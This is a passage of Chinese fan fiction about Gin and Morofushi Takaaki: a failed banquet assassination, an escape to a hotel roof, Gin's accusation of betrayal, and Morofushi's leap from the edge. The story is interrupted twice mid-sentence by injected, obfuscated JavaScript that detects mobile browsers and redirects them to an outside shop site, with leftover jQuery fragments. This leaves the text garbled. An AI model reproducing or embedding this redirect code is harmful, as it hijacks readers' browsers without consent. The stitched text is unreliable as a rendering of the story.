“哼!”伏特加冷哼一声,根本不理他,而是担忧地对琴酒叮嘱:“大哥,你可一定得小心,不但要小心敌人,还得小心自己人,有时候自己人的心比敌人可毒多了!”
“伏特加说的是我吗?”诸伏高明指了指自己。
伏特加还是不想搭理他。
诸伏高明摸了摸鼻子,碰钉子的感觉真不好受。
“放心,你先去就位吧。”琴酒宽慰地拍了拍伏特加的肩膀,然后示意诸伏高明随自己进去。
两人给门童看过请柬,先后进入大厅。
他们并没有最初便在一起,而是分开各自查看情况,不多久才在甜品区碰面。
“这里保镖还挺多的,确定要在这里动手?”一边挑拣着甜点,诸伏高明一边低声询问琴酒。
琴酒没有看诸伏高明的方向,问他:“你怕了?”
“倒是不怕,但杀了人我们未必能出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13703399|142132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去。”
“你就是怕了。”琴酒语气愉悦,但还是回道:“我们动了手直接出去,只要能离开宴会厅,外面有基安蒂和科恩守着,有伏特加接应,不用太担心走不脱。”
“这样做任务风险未免也太大了。”诸伏高明环视四周,不明白朗姆究竟在哪里动了手脚。
“既然怕了,要不要先出去?”琴酒这样问着,眼神却很危险。
诸伏高明轻笑,没有回应,他都已经跟来了任务现场,若这会儿要打退堂鼓,恐怕琴酒会第一个杀了他。
晚上八点,正主终于到了。
五社大雅已年过半百,五社家在商圈还算出名,他的人脉也不错,所以才进门便收到了一声声祝贺。
琴酒与诸伏高明远远看着,谁都没有朝对方靠近。
“灯。”诸伏高明提醒。
这个时候,打爆电灯,让周围陷入黑暗,反倒更方便他们行事。
琴酒终于看了诸伏高明一眼,而后径直朝五社大雅走了过去。
诸伏高明一怔,也立刻朝电灯开关那边走去,开关的位置远离五社大雅,灯灭后人的第一反应也是惊慌或看向灯的方向,很少有人会直接锁定开关位置,所以诸伏高明的行动还算安全。
两人配合默契,只等一个机会。
就在诸伏高明要关灯的时候,耳麦中却突然传来基安蒂的大骂声:“操,我的位置被发现了!”
诸伏高明脸色一变。
与此同时,琴酒也察觉了事情不对,他等不及关灯便直接对着五社大雅掏出了手/枪。
“啪”的一声,诸伏高明的手掌狠狠拍上电灯开关。
在黑暗中,极为迅速地响起几声枪响。
“砰——”
“砰——”
当灯光再次亮起来的时候,五社大雅已经被人扑倒在了地上,不知死活,诸伏高明也早已从灯开关旁移开,拉着琴酒的手便要朝外跑。
可门口已经被人挡住了,五社大雅显然早知道有人要刺杀他,金属门猛地砸下来,一时半会儿根本就弄不开。
“上楼!”琴酒反客为主,“砰砰”两/枪破坏掉电闸,在黑暗中拉着诸伏高明的手两人一同朝楼上奔去。
电梯彻底停摆,他们的身后同样脚步匆匆,五社大雅找的那些保镖们已经追过来了。
“我这里同样遭遇袭击。”科恩在耳麦中说道,从他那边还传来了声声枪/响。
琴酒一只手拉着诸伏高明,另一只手扶着耳麦询问伏特加情况,可一连问了几次却都没能得到对方的回应。
这家酒店是霓虹赫赫有名的“璀璨之星”,共88层,一路跑下来,到五十多层的时候,琴酒还好,诸伏高明却已经累得气喘吁吁,几乎要跟不上了。
琴酒索性停下来,然后一把卡住了诸伏高明的脖子,几乎将他摁在了墙上,质问:“你做了什么?”
诸伏高明茫然又震惊地看着琴酒,在黑暗中,那双一向冷静的蓝眸竟显得有些脆弱。
琴酒狰狞冷笑,再一次质问:“告诉我朗姆的计划!”
23.跳楼
“我不知道。”
“你背叛了我!”琴酒的手上逐渐用力。
诸伏高明这会儿也反应过来,他毫不迟疑,狠狠一记膝撞撞向琴酒的腹部。
琴酒身手敏捷地躲开,同时一把抓住了诸伏高明的手臂,硬生生将他扥到了墙上。
诸伏高明连忙用双手摁住墙壁,这才没有磕到鼻子,转身便朝琴酒大骂:“你神经病吧,如果真的和我有关系,我会跑来这里和你一起逃命?”
“也许是为了情报。”
诸伏高明“呼哧”喘着粗气,大步朝琴酒逼近了一步,直视着他的眼睛对他说:“我没有背叛你,朗姆根本不知道我参与了任务。如果你当时给朗姆打电话,立刻就会发现这一点,我不是在赌朗姆会帮我说话,我只是在赌你会包庇我。”
诸伏高明说的是在宾馆中开会的时候。
琴酒被他锐利又固执的眼神刺到,稍往后退了一步。
“你当时不打电话,我还以为这是我们的默契。”诸伏高明一把扯住琴酒的衣领质问:“看来我离开三年真的变了许多,琴酒,你会觉得我背叛你,是因为你已经不再相信我。”
“你很可疑。”琴酒没有回避他的视线。
“我可疑?老子要是可疑,当时在宴会厅就不会拉着你跑!”诸伏高明愤怒地咆哮。
当时宴会厅那么多人,随便他往哪个犄角旮旯一藏,暂时都没人会怀疑到他身上,可他却在当时跑向了正处于众矢之的的琴酒,这还不够说明他的态度吗?
“我是因为你不想你出事才跟来的!”诸伏高明狠狠推开了琴酒,对着空气骂了句,又扬言:“既然你不相信我,那我们现在分开跑,省得你总怀疑是我在给敌人通风报信!”
诸伏高明说完就要往回跑,被琴酒一边拉住。
“你回去做什么?找死吗!”
“找死不好吗?刚好可以帮你挡挡追兵,反正你也不把我当队友。”诸伏高明用力想甩开他的手,却没能甩开。
琴酒的手宛如铁钳,死死盯着诸伏高明好一会儿,这才说:“你最好不要让我失望。”
他说完,硬是拖着诸伏高明继续朝楼上跑。
“琴酒,你既然不相信我……”
“少废话,别耽误时间,先上楼顶!伏特加虽然联系不上,但既然出了差错,他有点脑子就知道回去搬救兵!”琴酒一边跑一边朝他解释。
诸伏高明于是跟着琴酒又跑了起来,但他还是很想说,几度欲言又止都没有止住。
“你觉得伏特加有脑子?”
琴酒回头,恶狠狠瞪了他一眼,“比你有脑子。”
诸伏高明尴尬地摸了摸鼻子,这话说得可就明显亏心了,伏特加哪里比得上他了?
爬楼梯对此刻的诸伏高明来说,简直是一种酷/刑,若不是有琴酒始终拉着他不松手,他恐怕早就被追上了。
也只有在这种时候,诸伏高明才能直观地感受到两人的差距究竟有多大。
终于,曙光在望,两人爬到了最顶层。
爬到楼顶上,琴酒看了眼堆放在楼顶的杂物,大喊:“来帮忙!”
诸伏高明却已经累瘫在地上,他坐在地上连连摆手,气都喘不匀。
“废物。”琴酒骂了一句,然后便破坏掉小门的门锁,又用杂物抵住了门,即便是他也没想过要杀回去,毕竟对方不是几个人而是几十个人,还都是精锐保镖。
他是强,但至少还是在人类范畴上的强。
“琴酒……”诸伏高明缓了一会儿试图起身,结果双腿像是两根面条一样,差点又软倒在地。
诸伏高明趔趄了一下,琴酒也没去扶他,站在原地努力调匀自己的呼吸。
“这根本挡不了多久,组织的救援什么时候到?”诸伏高明期待地看着琴酒。
“不知道。”琴酒又对着耳麦讲了几句话,伏特加仍旧没有回应。
该死,那家伙跑哪去了?
不得已,琴酒只能给贝尔摩德打了个电话,让她帮个忙,却得知她已经去美国拍戏了。
远水解不了近渴,琴酒又不想劳烦先生,于是只能咬牙给蓝橙酒发了条信息过去。
另一边,诸伏高明也在发着消息,神色认真。
“你给谁发消息?”琴酒立刻警觉。
“没谁,这不在写遗言吗?”诸伏高明立刻将手机收了起来,耸耸肩膀和琴酒开了句玩笑。
琴酒恶狠狠瞪他一眼,警告:“你最好不要背叛我,否则就算是你,我也绝不会手下留情。”
诸伏高明高举起双手,表示自己很无辜。
“叮”地一声,琴酒的手机响了。
【时间有限,伏特加来不及去报备,抢了组织的一架飞机出发了。】
琴酒松了口气,伏特加还算靠谱,至于抢飞机之后的惩罚,只要后续能和组织说明就好。
紧接着,是蓝橙酒发来的第二条消息。
【几天前,斯洛克去参与了情报组的会议。】
琴酒眸光一凝,下意识看向诸伏高明。
诸伏高明正四处查看着,浑身戒备,看着没什么异样,同样穷途末路。
可蓝橙酒的情报从没有出过错。
诸伏高明的手机好像也响了,他快速掏了出来,几乎是急切地进行查看。
不对劲儿!
琴酒的警惕性飙升,突然一脚朝诸伏高明踹了过去,诸伏高明猝不及防被踹飞好几米,痛苦地跌在地上,手机也摔在一旁。
“你在和谁联系?”琴酒用伯/莱/塔对准了他。
诸伏高明捂着自己的腹部,胃里连连想吐,但还是强忍住了。
他忍不住朝琴酒嘶吼:“你有病吧琴酒,你还在怀疑我?”
“你是不是在和朗姆联系?”琴酒用枪指着诸伏高明,一步步朝他的手机走去。
诸伏高明注意到这一点,又是恼火又是紧张,虽然他没有和朗姆联系,但此刻他跟着琴酒执行任务却和一个暗网上认识的情报贩子寻求帮助,绝对算得上是泄露组织机密的行为。
该死,琴酒怎么这么敏感?
诸伏高明不能让琴酒拿到手机!
他猛地站了起来,一步步朝琴酒走了过去,然后将枪口抵在了自己的胸口处,抓着他的枪对琴酒咆哮:“好,你不信我,来啊,开/枪,杀了我!”
“你在心虚?”琴酒却仿佛已经看透了一切。
他的眼神永远锐利,目光刁钻、毒辣,任何人都很难逃过他的眼睛。
诸伏高明自认自己的演技没有问题,却也无法保证这就能够骗过琴酒。
“都这种时候了,你杀我轻而易举,我需要和你演什么戏?什么戏能让你相信我?什么戏能让你认可我?”诸伏高明嘶吼着,眼眶渐渐地红了。
他像是无法承受被喜欢的人冤枉的痛苦,攥紧拳头“啊”地吼出声,与他平日斯文的形象大相径庭。
在这一瞬间,琴酒甚至都有种自己在咄咄逼人的感觉。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715912|142132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>可是……
“就因为这个破手机,他妈的,你就因为这个手机不信我!”诸伏高明飞起一脚,狠狠朝自己的手机踢去。
手机被踢飞了,琴酒脸色一变,手指几乎就要扣动扳机,可最终他还是忍住了。
诸伏高明并没有将手机踢下楼,他为自己和琴酒都留了余地,但同样的,这也是在赌。
琴酒快步冲向手机,手机撞击在楼顶的边缘凸起处,这会儿已息了屏,根本无法开机。
“你是故意的?你在销毁证据!”握着黑屏的手机,琴酒一针见血。
“我没有,如果我想销毁证据,你以为你还能拿到手机吗?”这是诸伏高明留给自己的辩解。
琴酒握着伯/莱/塔,已经完全意识到了,诸伏高明一定在拖延时间。
该死,他是朗姆的人!
虽然没有证据,但蓝橙酒的情报不会出错,他的确和朗姆的人一起开过会,刚刚也的确试图销毁证据。
最好能杀了他——
不要管今天能不能离开这里,最好能杀了斯洛克——
琴酒明白,只要他对斯洛克动了杀心,他就绝不可能逃得掉。
他的阴谋、算计,在这个无路可逃的楼顶根本没一点用处,而且他根本不需要担心有谁会对自己发难,因为根本没人敢来发难。
面对叛徒,就应该处以极/刑。
琴酒明知道自己该扣下扳机,可他的脑海中,反复闪回的全都是两人并肩作战的那些日子以及……那个夜晚。
和斯洛克的灵魂契合。
斯洛克的荒唐与疯狂。
斯洛克这段时间对他的死缠烂打。
所有的一切,在这瞬间似乎化为永恒,让他的手指仿佛重如千钧。
该死!
琴酒最终将枪/口垂下,他做不到。
诸伏高明始终提着的一口气也缓缓放松。
正在此时,飞机的轰鸣声从上方传来,伏特加正驾驶着飞机,科恩与基安蒂握紧了狙/击/枪,一道吊梯从飞机上落下。
“琴酒,上来!”基安蒂朝琴酒大喊。
被堵的门已经响了很久,外面的保镖捶门声越来越疯狂,他们显然也发现了不对。
琴酒毫不犹豫,一跃抓住了吊梯,但他却并没有爬上去,而是站在吊梯的末端冷冷看着诸伏高明。
他不会让斯洛克上来。
尽管他无法下狠心去杀了斯洛克,但让斯洛克死在这次任务中,也算得上是死得其所。
只要斯洛克死了,他便不再追究对方的背叛……
琴酒企图一脚将要跳上来的诸伏高明踹下去,却发现诸伏高明根本就没有要上飞机的意思。
在琴酒抓住吊梯的同时,诸伏高明已经一个人走到了楼顶的边缘,他缓缓站上边缘的水泥凸起,先是左脚,又是右脚。
“斯洛克,你在做什么?”基安蒂发出难以置信地尖叫。
伏特加也吓了一跳,慌忙将飞机朝斯洛克那边靠。
诸伏高明却笑了,他的眼神脆弱、受伤,甚至透露出浓烈的绝望。
他看着距离自己越来越近的琴酒,大声朝他喊:“我从美国拼了命地爬回来,这一切都是为了你,可你……你不信我。”语调蓦然低沉了下去。
诸伏高明睁开了双臂,迎着楼顶的微风,他的身子竟显得无比单薄。
“既然如此,你就当我从没回来过吧。”诸伏高明身体前倾,如一只折翅的蝴蝶,翩然而落。